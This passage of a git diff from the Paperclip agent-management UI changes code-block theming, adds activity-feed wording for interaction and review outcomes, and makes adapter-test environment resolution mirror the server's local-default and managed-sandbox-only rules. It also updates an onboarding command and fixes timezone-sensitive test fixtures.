 }
 
@@ -1482,20 +1500,22 @@ a.paperclip-mention-chip[data-mention-kind="agent"]::before {
 }
 
 /* Rendered markdown code blocks & inline code (prose/MarkdownBody context).
-   Dark theme code blocks with compact sizing.
-   Override prose CSS variables so prose-invert can't revert to defaults. */
+   Theme-aware: the block rides --muted/--foreground/--border so it follows
+   light and dark instead of pinning the old Catppuccin #1e1e2e/#cdd6f4 in
+   both modes. Override prose CSS variables so prose-invert can't revert to
+   defaults. */
 .paperclip-markdown {
-  --tw-prose-pre-bg: #1e1e2e;
-  --tw-prose-pre-code: #cdd6f4;
-  --tw-prose-invert-pre-bg: #1e1e2e;
-  --tw-prose-invert-pre-code: #cdd6f4;
+  --tw-prose-pre-bg: var(--muted);
+  --tw-prose-pre-code: var(--foreground);
+  --tw-prose-invert-pre-bg: var(--muted);
+  --tw-prose-invert-pre-code: var(--foreground);
 }
 
 .paperclip-markdown pre {
-  border: 1px solid color-mix(in oklab, var(--foreground) 12%, transparent) !important;
-  border-radius: calc(var(--radius) - 3px) !important;
-  background-color: #1e1e2e !important;
-  color: #cdd6f4 !important;
+  border: 1px solid var(--border) !important;
+  border-radius: var(--radius-lg) !important;
+  background-color: var(--muted) !important;
+  color: var(--foreground) !important;
   padding: 0.5rem 0.65rem !important;
   margin: 0.4rem 0 !important;
   font-size: 1em !important;
diff --git a/ui/src/lib/activity-format.test.ts b/ui/src/lib/activity-format.test.ts
index a58605f974a..e314e9e116f 100644
--- a/ui/src/lib/activity-format.test.ts
+++ b/ui/src/lib/activity-format.test.ts
@@ -66,6 +66,72 @@ describe("activity formatting", () => {
     expect(formatIssueActivityAction("issue.monitor_recovery_issue_created")).toBe("created a monitor recovery issue");
   });
 
+  // PAP-16506 P4: agents can now resolve an interaction, including a review of
+  // their own work, so an outcome has to read as an outcome in the timeline
+  // instead of leaking the raw action id.
+  it("reads an interaction outcome as an outcome, whoever gave it", () => {
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted")).toBe("accepted the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_rejected")).toBe("rejected the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_withdrawn")).toBe("withdrew the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_expired")).toBe("expired the request");
+    expect(formatActivityVerb("issue.thread_interaction_accepted")).toBe("accepted the request on");
+    expect(formatActivityVerb("issue.thread_interaction_rejected")).toBe("rejected the request on");
+  });
+
+  // The accepted/rejected actions fire for every interaction kind, so only a
+  // confirmation may read as an approval.
+  it("says 'approved' only for a confirmation, never for a suggestion or a question", () => {
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "request_confirmation" }))
+      .toBe("approved the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "request_checkbox_confirmation" }))
+      .toBe("approved the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "suggest_tasks" }))
+      .toBe("accepted the task suggestions");
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "ask_user_questions" }))
+      .toBe("accepted the answers");
+    expect(formatIssueActivityAction("issue.thread_interaction_rejected", { interactionKind: "request_confirmation" }))
+      .toBe("rejected the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_rejected", { interactionKind: "suggest_tasks" }))
+      .toBe("declined the task suggestions");
+    expect(formatActivityVerb("issue.thread_interaction_accepted", { interactionKind: "suggest_tasks" }))
+      .toBe("accepted the task suggestions on");
+  });
+
+  it("keeps the neutral wording for a kind it does not know", () => {
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "request_item_verdicts" }))
+      .toBe("accepted the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: "future_kind" }))
+      .toBe("accepted the request");
+    expect(formatIssueActivityAction("issue.thread_interaction_accepted", { interactionKind: 7 }))
+      .toBe("accepted the request");
+  });
+
+  it("names the verb an actor chose on a stalled review", () => {
+    expect(formatIssueActivityAction("issue.stalled_review_decided", { action: "approve" }))
+      .toBe("approved the review");
+    expect(formatIssueActivityAction("issue.stalled_review_decided", { action: "request_changes" }))
+      .toBe("requested changes on the review");
+    expect(formatIssueActivityAction("issue.stalled_review_decided", { action: "send_back" }))
+      .toBe("sent the review back to work");
+    expect(formatActivityVerb("issue.stalled_review_decided", { action: "approve" }))
+      .toBe("approved the review on");
+  });
+
+  it("falls back to a generic verdict line when the decision verb is missing", () => {
+    expect(formatIssueActivityAction("issue.stalled_review_decided")).toBe("recorded a review verdict");
+    expect(formatIssueActivityAction("issue.stalled_review_decided", { action: "shrug" }))
+      .toBe("recorded a review verdict");
+  });
+
+  it("describes a review-policy change without calling the default 'none'", () => {
+    expect(formatIssueActivityAction("issue.updated", { reviewPolicy: null }))
+      .toBe("changed who can approve to anyone");
+    expect(formatIssueActivityAction("issue.updated", { reviewPolicy: "human_only" }))
+      .toBe("changed who can approve to human only");
+    expect(formatIssueActivityAction("issue.updated", { reviewPolicy: "not_creator" }))
+      .toBe("changed who can approve to anyone else");
+  });
+
   it("uses plain next-step copy for successful-run handoff activity", () => {
     expect(formatActivityVerb("issue.successful_run_handoff_required")).toBe("flagged missing next step on");
     expect(formatIssueActivityAction("issue.successful_run_handoff_required")).toBe("Run finished without a clear next step");
diff --git a/ui/src/lib/activity-format.ts b/ui/src/lib/activity-format.ts
index 6ff6c0c4eb4..0d4f015de64 100644
--- a/ui/src/lib/activity-format.ts
+++ b/ui/src/lib/activity-format.ts
@@ -1,5 +1,6 @@
 import type { Agent } from "@paperclipai/shared";
 import type { CompanyUserProfile } from "./company-members";
+import { formatReviewPolicyValue } from "./review-policy";
 
 type ActivityDetails = Record<string, unknown> | null | undefined;
 
@@ -69,6 +70,19 @@ const ACTIVITY_ROW_VERBS: Record<string, string> = {
   "approval.created": "requested approval",
   "approval.approved": "approved",
   "approval.rejected": "rejected",
+  // Interaction outcomes (PAP-16506). An agent may now resolve one — including a
+  // review of its own work — so these must read as outcomes in the feed instead
+  // of falling through to the raw "issue thread interaction accepted" action id.
+  // `details.interactionKind` sharpens the wording; see INTERACTION_OUTCOME_LABELS.
+  "issue.thread_interaction_created": "asked for a decision on",
+  "issue.thread_interaction_accepted": "accepted the request on",
+  "issue.thread_interaction_rejected": "rejected the request on",
+  "issue.thread_interaction_answered": "answered the request on",
+  "issue.thread_interaction_withdrawn": "withdrew the request on",
+  "issue.thread_interaction_cancelled": "cancelled the request on",
+  "issue.thread_interaction_expired": "expired the request on",
+  "issue.thread_interaction_item_verdicts_submitted": "submitted verdicts on",
+  "issue.stalled_review_decided": "recorded a review verdict on",
   "project.created": "created",
   "project.updated": "updated",
   "project.deleted": "deleted",
@@ -133,8 +147,64 @@ const ISSUE_ACTIVITY_LABELS: Record<string, string> = {
   "approval.created": "requested approval",
   "approval.approved": "approved",
   "approval.rejected": "rejected",
+  "issue.thread_interaction_created": "asked for a decision",
+  "issue.thread_interaction_accepted": "accepted the request",
+  "issue.thread_interaction_rejected": "rejected the request",
+  "issue.thread_interaction_answered": "answered the request",
+  "issue.thread_interaction_withdrawn": "withdrew the request",
+  "issue.thread_interaction_cancelled": "cancelled the request",
+  "issue.thread_interaction_expired": "expired the request",
+  "issue.thread_interaction_item_verdicts_submitted": "submitted verdicts on the request",
+  "issue.stalled_review_decided": "recorded a review verdict",
 };
 
+/**
+ * `issue.stalled_review_decided` carries the verb the actor chose, so the line
+ * names the verdict ("approved the review") rather than the generic action.
+ * Mirrors `StalledReviewDecisionAction` in shared.
+ */
+const STALLED_REVIEW_DECISION_LABELS: Record<string, string> = {
+  approve: "approved the review",
+  request_changes: "requested changes on the review",
+  send_back: "sent the review back to work",
+};
+
+/**
+ * `issue.thread_interaction_accepted` / `_rejected` fire for *every* interaction
+ * kind, not only for a review. A task suggestion or a question is accepted, not
+ * approved, so the kind on the event picks the verb. Kinds absent from a map
+ * keep the neutral "accepted the request" wording from the tables above, which
+ * is also the fallback for an event that carries no kind.
+ */
+const INTERACTION_ACCEPTED_LABELS: Record<string, string> = {
+  request_confirmation: "approved the request",
+  request_checkbox_confirmation: "approved the request",
+  suggest_tasks: "accepted the task suggestions",
+  ask_user_questions: "accepted the answers",
+};
+
+const INTERACTION_REJECTED_LABELS: Record<string, string> = {
+  request_confirmation: "rejected the request",
+  request_checkbox_confirmation: "rejected the request",
+  suggest_tasks: "declined the task suggestions",
+  ask_user_questions: "declined the questions",
+};
+
+/**
+ * Kind-aware wording for an interaction outcome, or `null` when the tables
+ * above already say it well enough.
+ */
+function formatInteractionOutcomeLabel(action: string, details: ActivityDetails): string | null {
+  const table = action === "issue.thread_interaction_accepted"
+    ? INTERACTION_ACCEPTED_LABELS
+    : action === "issue.thread_interaction_rejected"
+      ? INTERACTION_REJECTED_LABELS
+      : null;
+  if (!table) return null;
+  const kind = typeof details?.interactionKind === "string" ? details.interactionKind : null;
+  return kind ? table[kind] ?? null : null;
+}
+
 function asRecord(value: unknown): Record<string, unknown> | null {
   if (!value || typeof value !== "object" || Array.isArray(value)) return null;
   return value as Record<string, unknown>;
@@ -284,6 +354,11 @@ function formatIssueUpdatedAction(details: ActivityDetails, options: ActivityFor
     const assigneeName = formatAssigneeName(details, options);
     parts.push(assigneeName ? `made ${assigneeName} responsible for the task` : "cleared the responsible");
   }
+  if (details.reviewPolicy !== undefined) {
+    // `null` is the default ("anyone can approve"), so it must not read as
+    // "changed the review policy to none" (PAP-16506).
+    parts.push(`changed who can approve to ${formatReviewPolicyValue(details.reviewPolicy)}`);
+  }
   if (details.title !== undefined) parts.push("updated the title");
   if (details.description !== undefined) parts.push("updated the description");
 
@@ -342,6 +417,15 @@ export function formatActivityVerb(
     if (issueUpdatedVerb) return issueUpdatedVerb;
   }
 
+  if (action === "issue.stalled_review_decided") {
+    const decision = typeof details?.action === "string" ? details.action : null;
+    const label = decision ? STALLED_REVIEW_DECISION_LABELS[decision] : null;
+    if (label) return `${label} on`;
+  }
+
+  const outcomeLabel = formatInteractionOutcomeLabel(action, details);
+  if (outcomeLabel) return `${outcomeLabel} on`;
+
   const structuredChange = formatStructuredIssueChange({
     action,
     details,
@@ -376,6 +460,15 @@ export function formatIssueActivityAction(
     if (detail) return detail;
   }
 
+  if (action === "issue.stalled_review_decided") {
+    const decision = typeof details?.action === "string" ? details.action : null;
+    const label = decision ? STALLED_REVIEW_DECISION_LABELS[decision] : null;
+    if (label) return label;
+  }
+
+  const outcomeLabel = formatInteractionOutcomeLabel(action, details);
+  if (outcomeLabel) return outcomeLabel;
+
   if (action.startsWith("issue.monitor_") && details) {
     const serviceName = typeof details.serviceName === "string" && details.serviceName.trim()
       ? details.serviceName.trim()
diff --git a/ui/src/lib/adapter-test-environment.test.ts b/ui/src/lib/adapter-test-environment.test.ts
index 856d085ced8..3422e34378e 100644
--- a/ui/src/lib/adapter-test-environment.test.ts
+++ b/ui/src/lib/adapter-test-environment.test.ts
@@ -1,6 +1,28 @@
 import { describe, expect, it } from "vitest";
+import type { Environment } from "@paperclipai/shared";
 
-import { resolveAdapterTestEnvironmentId } from "./adapter-test-environment";
+import {
+  ManagedSandboxUnavailableForTestError,
+  resolveAdapterTestEnvironmentId,
+  resolveLocalDefaultEnvironmentId,
+  resolveManagedSandboxEnvironmentId,
+} from "./adapter-test-environment";
+
+function makeEnvironment(overrides: Partial<Environment>): Environment {
+  return {
+    id: "env-id",
+    name: "Env",
+    description: null,
+    driver: "sandbox",
+    status: "active",
+    config: {},
+    envVars: {},
+    metadata: null,
+    createdAt: new Date(0),
+    updatedAt: new Date(0),
+    ...overrides,
+  };
+}
 
 describe("resolveAdapterTestEnvironmentId", () => {
   it("prefers the agent's own environment", () => {
@@ -8,6 +30,7 @@ describe("resolveAdapterTestEnvironmentId", () => {
       resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: "agent-env",
         instanceDefaultEnvironmentId: "instance-env",
+        localDefaultEnvironmentId: "local-env",
       }),
     ).toBe("agent-env");
   });
@@ -21,28 +44,261 @@ describe("resolveAdapterTestEnvironmentId", () => {
       resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: null,
         instanceDefaultEnvironmentId: "instance-env",
+        localDefaultEnvironmentId: "local-env",
       }),
     ).toBe("instance-env");
     expect(
       resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: "",
         instanceDefaultEnvironmentId: "instance-env",
+        localDefaultEnvironmentId: "local-env",
       }),
     ).toBe("instance-env");
   });
 
-  it("returns null (host probe) when neither is set", () => {
+  it("falls back to the local default when neither an agent nor an instance default is set", () => {
+    // The server resolves a run with no agent or instance default to the local
+    // default environment. The Test must probe the same environment, not the
+    // host, so a Test result matches a real run.
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: "local-env",
+      }),
+    ).toBe("local-env");
+  });
+
+  it("returns null (host probe) when no tier is set", () => {
     expect(
       resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: undefined,
         instanceDefaultEnvironmentId: undefined,
+        localDefaultEnvironmentId: undefined,
       }),
     ).toBeNull();
     expect(
       resolveAdapterTestEnvironmentId({
         agentDefaultEnvironmentId: "",
         instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: null,
       }),
     ).toBeNull();
   });
+
+  it("redirects a local-default resolution to the managed sandbox under managed-sandbox-only", () => {
+    // The real run redirects a local resolution to the managed sandbox, so the
+    // Test must probe the managed sandbox, not the local default.
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: "local-env",
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: "managed-env",
+      }),
+    ).toBe("managed-env");
+  });
+
+  it("redirects a no-tier resolution to the managed sandbox under managed-sandbox-only", () => {
+    // The policy hides the local tier, so the list holds no local row and the
+    // resolution lands on no tier. The real run still resolves to local and
+    // redirects to the managed sandbox, so the Test does the same.
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: null,
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: "managed-env",
+      }),
+    ).toBe("managed-env");
+  });
+
+  it("fails closed when managed-sandbox-only is on but no managed sandbox exists", () => {
+    // The real run fails closed, so the Test must not fall back to a local host
+    // probe that reports a result for a target the run never uses.
+    expect(() =>
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: "local-env",
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: null,
+      }),
+    ).toThrow(ManagedSandboxUnavailableForTestError);
+  });
+
+  it("leaves a non-local default untouched under managed-sandbox-only", () => {
+    // The policy hides local; it does not forbid an ssh or a user sandbox that
+    // an agent or instance default names, so the Test probes that environment.
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: "ssh-env",
+        localDefaultEnvironmentId: "local-env",
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: "managed-env",
+      }),
+    ).toBe("ssh-env");
+  });
+
+  it("ignores the managed-sandbox redirect when the policy is off", () => {
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: null,
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: "local-env",
+        managedSandboxOnly: false,
+        managedSandboxEnvironmentId: "managed-env",
+      }),
+    ).toBe("local-env");
+  });
+
+  it("redirects an agent default that names the hidden local row to the managed sandbox", () => {
+    // The policy hides the local environment, so the client list holds no local
+    // row and the local-default lookup is null. An agent default that still
+    // names the hidden local row names no visible environment, so the resolver
+    // treats it as a local resolution and redirects to the managed sandbox.
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: "hidden-local-env",
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: null,
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: "managed-env",
+        visibleEnvironmentIds: ["managed-env", "ssh-env"],
+      }),
+    ).toBe("managed-env");
+  });
+
+  it("fails closed when an agent default names the hidden local row and no managed sandbox exists", () => {
+    expect(() =>
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: "hidden-local-env",
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: null,
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: null,
+        visibleEnvironmentIds: ["ssh-env"],
+      }),
+    ).toThrow(ManagedSandboxUnavailableForTestError);
+  });
+
+  it("leaves a visible non-local default untouched when a visibility list is supplied", () => {
+    expect(
+      resolveAdapterTestEnvironmentId({
+        agentDefaultEnvironmentId: "ssh-env",
+        instanceDefaultEnvironmentId: null,
+        localDefaultEnvironmentId: null,
+        managedSandboxOnly: true,
+        managedSandboxEnvironmentId: "managed-env",
+        visibleEnvironmentIds: ["ssh-env", "managed-env"],
+      }),
+    ).toBe("ssh-env");
+  });
+});
+
+describe("resolveManagedSandboxEnvironmentId", () => {
+  it("finds the non-local platform-managed environment", () => {
+    const environments = [
+      makeEnvironment({
+        id: "local-1",
+        driver: "local",
+        metadata: { managedByPaperclip: true, defaultForInstance: true },
+      }),
+      makeEnvironment({
+        id: "sandbox-1",
+        driver: "sandbox",
+        metadata: { managedByPaperclip: true },
+      }),
+    ];
+    // The local-default row also carries the managed stamp, so the resolver must
+    // exclude the local driver and return the sandbox row.
+    expect(resolveManagedSandboxEnvironmentId(environments)).toBe("sandbox-1");
+  });
+
+  it("returns null when no managed sandbox environment exists", () => {
+    const environments = [
+      makeEnvironment({ id: "sandbox-1", driver: "sandbox", metadata: null }),
+      makeEnvironment({
+        id: "local-1",
+        driver: "local",
+        metadata: { managedByPaperclip: true, defaultForInstance: true },
+      }),
+    ];
+    expect(resolveManagedSandboxEnvironmentId(environments)).toBeNull();
+    expect(resolveManagedSandboxEnvironmentId([])).toBeNull();
+    expect(resolveManagedSandboxEnvironmentId(null)).toBeNull();
+  });
+
+  it("skips an archived managed sandbox", () => {
+    // The server run-time resolver requires an active managed sandbox, so the
+    // Test resolution must not select an archived one. An archived sandbox row
+    // still carries the managed stamp, so the status guard is the only filter
+    // that excludes it. A real run rejects an archived sandbox, so the Test must
+    // reject it too.
+    const environments = [
+      makeEnvironment({
+        id: "sandbox-archived",
+        driver: "sandbox",
+        status: "archived",
+        metadata: { managedByPaperclip: true },
+      }),
+      makeEnvironment({
+        id: "local-1",
+        driver: "local",
+        metadata: { managedByPaperclip: true, defaultForInstance: true },
+      }),
+    ];
+    expect(resolveManagedSandboxEnvironmentId(environments)).toBeNull();
+  });
+
+  it("selects the active managed sandbox and skips an archived one", () => {
+    // When both an archived and an active managed sandbox exist, the resolver
+    // returns the active row, matching the server run-time resolver.
+    const environments = [
+      makeEnvironment({
+        id: "sandbox-archived",
+        driver: "sandbox",
+        status: "archived",
+        metadata: { managedByPaperclip: true },
+      }),
+      makeEnvironment({
+        id: "sandbox-active",
+        driver: "sandbox",
+        status: "active",
+        metadata: { managedByPaperclip: true },
+      }),
+    ];
+    expect(resolveManagedSandboxEnvironmentId(environments)).toBe("sandbox-active");
+  });
+});
+
+describe("resolveLocalDefaultEnvironmentId", () => {
+  it("finds the local-driver instance-default environment", () => {
+    const environments = [
+      makeEnvironment({ id: "sandbox-1", driver: "sandbox" }),
+      makeEnvironment({
+        id: "local-1",
+        driver: "local",
+        metadata: { managedByPaperclip: true, defaultForInstance: true },
+      }),
+    ];
+    expect(resolveLocalDefaultEnvironmentId(environments)).toBe("local-1");
+  });
+
+  it("ignores a local environment that is not the instance default", () => {
+    const environments = [
+      makeEnvironment({ id: "local-1", driver: "local", metadata: { defaultForInstance: false } }),
+      makeEnvironment({ id: "local-2", driver: "local", metadata: null }),
+    ];
+    expect(resolveLocalDefaultEnvironmentId(environments)).toBeNull();
+  });
+
+  it("returns null for an empty or missing list", () => {
+    expect(resolveLocalDefaultEnvironmentId([])).toBeNull();
+    expect(resolveLocalDefaultEnvironmentId(null)).toBeNull();
+    expect(resolveLocalDefaultEnvironmentId(undefined)).toBeNull();
+  });
 });
diff --git a/ui/src/lib/adapter-test-environment.ts b/ui/src/lib/adapter-test-environment.ts
index 541f320c579..7c6d57e3b45 100644
--- a/ui/src/lib/adapter-test-environment.ts
+++ b/ui/src/lib/adapter-test-environment.ts
@@ -1,18 +1,128 @@
+import type { Environment } from "@paperclipai/shared";
+
+/**
+ * The managed-sandbox-only policy hides the local environment and runs every
+ * agent in the managed sandbox, but no managed sandbox environment is
+ * available. The Test resolution throws this error so the Test surfaces a
+ * fail-closed message, the same way a real run fails closed. The Test must not
+ * fall back to a local host probe, because a host probe would report a result
+ * for a target the real run never uses.
+ */
+export class ManagedSandboxUnavailableForTestError extends Error {
+  constructor() {
+    super(
+      "This instance runs agents only in its managed sandbox environment, but no " +
+        "managed sandbox environment is available to test in. Check that the managed " +
+        "sandbox provider is active, then retry the test.",
+    );
+    this.name = "ManagedSandboxUnavailableForTestError";
+  }
+}
+
 /**
  * Which environment should an adapter "Test" probe?
  *
- * Mirrors the server's run-time resolution
- * (`resolveExecutionWorkspaceEnvironmentId`): the agent's own environment
- * wins, otherwise the instance default, otherwise none (the server probes
- * the Paperclip host). Without the instance-default fallback, the Test
- * button probes the host for agents that rely on the instance default and
- * fails on commands that only exist inside the default environment — for
- * example a sandbox image with an extra CLI installed — even though a real
- * run would have resolved to that environment and succeeded.
+ * The resolution mirrors the server run-time resolution
+ * (`resolveExecutionWorkspaceEnvironmentId`) across all three tiers: the
+ * agent's own environment wins, otherwise the instance default, otherwise the
+ * instance local-default environment. The server always resolves a run to one
+ * of these three tiers, so the Test must probe the same target. Without the
+ * local-default tier the Test would send no environment id and probe the
+ * Paperclip host, even though a real run resolves to the local-default
+ * environment. The two paths must match, so a Test result reflects a real run.
+ *
+ * The managed-sandbox-only policy (`enableManagedSandboxOnly`) redirects a
+ * resolution that lands on the local environment to the managed sandbox
+ * environment, and it fails closed when no managed sandbox exists. This
+ * function mirrors that redirect. A resolution that lands on the local
+ * environment — the local tier, or no tier at all because the policy hides the
+ * local tier — resolves to the managed sandbox environment instead. With no
+ * managed sandbox environment the function throws, so the Test does not probe
+ * the local host that the real run rejects. A resolution that lands on a
+ * non-local environment (an agent or instance default that names an ssh or a
+ * user sandbox) is untouched, because the policy hides local, it does not
+ * forbid other environments.
+ *
+ * The policy hides the local environment from the client, so the resolved id
+ * can name a local row the client cannot see (an agent default that still
+ * points at the hidden local row). The `visibleEnvironmentIds` list closes that
+ * gap: under the policy a resolved id that names no visible environment is the
+ * hidden local row, or a stale reference, so the function redirects it to the
+ * managed sandbox too. Omit the list to skip this visibility check.
  */
 export function resolveAdapterTestEnvironmentId(input: {
   agentDefaultEnvironmentId: string | null | undefined;
   instanceDefaultEnvironmentId: string | null | undefined;
+  localDefaultEnvironmentId: string | null | undefined;
+  managedSandboxOnly?: boolean;
+  managedSandboxEnvironmentId?: string | null | undefined;
+  visibleEnvironmentIds?: readonly string[] | null | undefined;
 }): string | null {
-  return input.agentDefaultEnvironmentId || input.instanceDefaultEnvironmentId || null;
+  const resolved =
+    input.agentDefaultEnvironmentId ||
+    input.instanceDefaultEnvironmentId ||
+    input.localDefaultEnvironmentId ||
+    null;
+  if (input.managedSandboxOnly !== true) {
+    return resolved;
+  }
+  const localDefaultId = input.localDefaultEnvironmentId || null;
+  const resolvedNamesVisibleEnvironment =
+    input.visibleEnvironmentIds == null ||
+    resolved === null ||
+    input.visibleEnvironmentIds.includes(resolved);
+  const landsOnLocal =
+    resolved === null || resolved === localDefaultId || !resolvedNamesVisibleEnvironment;
+  if (!landsOnLocal) {
+    return resolved;
+  }
+  if (!input.managedSandboxEnvironmentId) {
+    throw new ManagedSandboxUnavailableForTestError();
+  }
+  return input.managedSandboxEnvironmentId;
+}
+
+/**
+ * Find the active managed sandbox environment id in an environment list. The
+ * platform provisioner stamps the managed environment with
+ * `metadata.managedByPaperclip` (see `isPlatformManagedEnvironment`). The
+ * local-default environment also carries that stamp, so this function excludes
+ * the `local` driver and returns the non-local managed environment. The function
+ * selects only an `active` environment, never an `archived` one, so the Test
+ * resolution matches the server run-time resolver that requires an active
+ * managed sandbox (see `findManagedSandboxEnvironment`). The Test resolution
+ * uses this id as the redirect target under the managed-sandbox-only policy. The
+ * function returns `null` when the list holds no active managed sandbox
+ * environment.
+ */
+export function resolveManagedSandboxEnvironmentId(
+  environments: readonly Environment[] | null | undefined,
+): string | null {
+  if (!environments) return null;
+  const managed = environments.find(
+    (environment) =>
+      environment.driver !== "local" &&
+      environment.status === "active" &&
+      environment.metadata?.managedByPaperclip === true,
+  );
+  return managed?.id ?? null;
+}
+
+/**
+ * Find the instance local-default environment id in an environment list. The
+ * server auto-creates one `local` driver environment and stamps it with
+ * `metadata.defaultForInstance: true` (see `ensureLocalEnvironment`). The Test
+ * resolution uses this id as the final tier, so it probes the same environment
+ * a real run resolves to when neither an agent default nor an instance default
+ * is set. The function returns `null` when the list holds no such environment.
+ */
+export function resolveLocalDefaultEnvironmentId(
+  environments: readonly Environment[] | null | undefined,
+): string | null {
+  if (!environments) return null;
+  const local = environments.find(
+    (environment) =>
+      environment.driver === "local" && environment.metadata?.defaultForInstance === true,
+  );
+  return local?.id ?? null;
 }
diff --git a/ui/src/lib/agent-onboarding-prompt.ts b/ui/src/lib/agent-onboarding-prompt.ts
index 2bbdd5c7925..5346b3c9a66 100644
--- a/ui/src/lib/agent-onboarding-prompt.ts
+++ b/ui/src/lib/agent-onboarding-prompt.ts
@@ -18,13 +18,13 @@ export function buildAgentOnboardingPrompt(input: AgentOnboardingPromptInput) {
       ? `No candidate URLs are available. Ask the operator to configure a reachable Paperclip hostname, then retry.
 Suggested steps for the operator:
 - choose a hostname that resolves to the Paperclip host from your runtime
-- run: pnpm exec paperclipai allowed-hostname <host>
+- run: npx paperclipai allowed-hostname <host>
 - restart Paperclip
 - verify with: curl -fsS http://<host>:3100/api/health
 - regenerate this agent onboarding prompt`
       : `If none are reachable, ask the operator to add a reachable Paperclip hostname, restart, and retry.
 Suggested command for the operator:
-- pnpm exec paperclipai allowed-hostname <host>
+- npx paperclipai allowed-hostname <host>
 Then verify with: curl -fsS <base-url>/api/health`;
 
   const resolutionLine = resolutionTestUrl
diff --git a/ui/src/lib/attention.test.ts b/ui/src/lib/attention.test.ts
index 76e1bdff0ff..afd5050d411 100644
--- a/ui/src/lib/attention.test.ts
+++ b/ui/src/lib/attention.test.ts
@@ -430,14 +430,22 @@ describe("sortAttentionItems", () => {
   });
 });
 
+// `attentionDateBucket` walks back from the start of the *local* day
+// (`setHours(0, 0, 0, 0)`), so every date fixture below is local too. Pinned to
+// UTC instants they drift across the boundary under test: `2026-07-09T23:00:00Z`
+// is 08:00 on the 10th at UTC+9 and buckets as "today", and at UTC+14 and UTC-11
+// even the mid-morning fixtures land on the wrong calendar day.
+const localTime = (month: number, day: number, hour: number) =>
+  new Date(2026, month - 1, day, hour, 0, 0, 0);
+
 describe("attentionDateBucket", () => {
-  const now = new Date("2026-07-10T12:00:00Z").getTime();
+  const now = localTime(7, 10, 12).getTime();
 
   it("buckets by rolling calendar-day windows relative to now", () => {
-    expect(attentionDateBucket("2026-07-10T09:00:00Z", now)).toBe("today");
-    expect(attentionDateBucket("2026-07-09T23:00:00Z", now)).toBe("yesterday");
-    expect(attentionDateBucket("2026-07-06T09:00:00Z", now)).toBe("this_week");
-    expect(attentionDateBucket("2026-06-01T09:00:00Z", now)).toBe("earlier");
+    expect(attentionDateBucket(localTime(7, 10, 9).toISOString(), now)).toBe("today");
+    expect(attentionDateBucket(localTime(7, 9, 23).toISOString(), now)).toBe("yesterday");
+    expect(attentionDateBucket(localTime(7, 6, 9).toISOString(), now)).toBe("this_week");
+    expect(attentionDateBucket(localTime(6, 1, 9).toISOString(), now)).toBe("earlier");
   });
 
   it("treats invalid timestamps as earlier", () => {
@@ -446,7 +454,7 @@ describe("attentionDateBucket", () => {
 });
 
 describe("groupAttentionItems", () => {
-  const now = new Date("2026-07-10T12:00:00Z").getTime();
+  const now = localTime(7, 10, 12).getTime();
 
   it("leaves None as one unlabeled group that preserves caller sort order", () => {
     const items = sortAttentionItems(
@@ -464,9 +472,9 @@ describe("groupAttentionItems", () => {
 
   it("groups by date into fixed Today/Yesterday/This week/Earlier order", () => {
     const items = [
-      buildItem({ id: "earlier", activityAt: "2026-06-01T00:00:00Z" }),
-      buildItem({ id: "today", activityAt: "2026-07-10T08:00:00Z" }),
-      buildItem({ id: "yesterday", activityAt: "2026-07-09T08:00:00Z" }),
+      buildItem({ id: "earlier", activityAt: localTime(6, 1, 9).toISOString() }),
+      buildItem({ id: "today", activityAt: localTime(7, 10, 8).toISOString() }),
+      buildItem({ id: "yesterday", activityAt: localTime(7, 9, 8).toISOString() }),
     ];
     const groups = groupAttentionItems(items, "date", { now });
     expect(groups.map((g) => g.label)).toEqual(["Today", "Yesterday", "Earlier"]);
@@ -508,8 +516,8 @@ describe("groupAttentionItems", () => {
   it("preserves the caller-provided intra-group order (sort governs within a bucket)", () => {
     const items = sortAttentionItems(
       [
-        buildItem({ id: "t1", activityAt: "2026-07-10T08:00:00Z" }),
-        buildItem({ id: "t2", activityAt: "2026-07-10T10:00:00Z" }),
+        buildItem({ id: "t1", activityAt: localTime(7, 10, 8).toISOString() }),
+        buildItem({ id: "t2", activityAt: localTime(7, 10, 10).toISOString() }),
       ],
       "newest",
     );
diff --git a/ui/src/lib/document-annotation-hash.test.ts b/ui/src/lib/document-annotation-hash.test.ts
index d1346d3a138..c954bcce1ee 100644
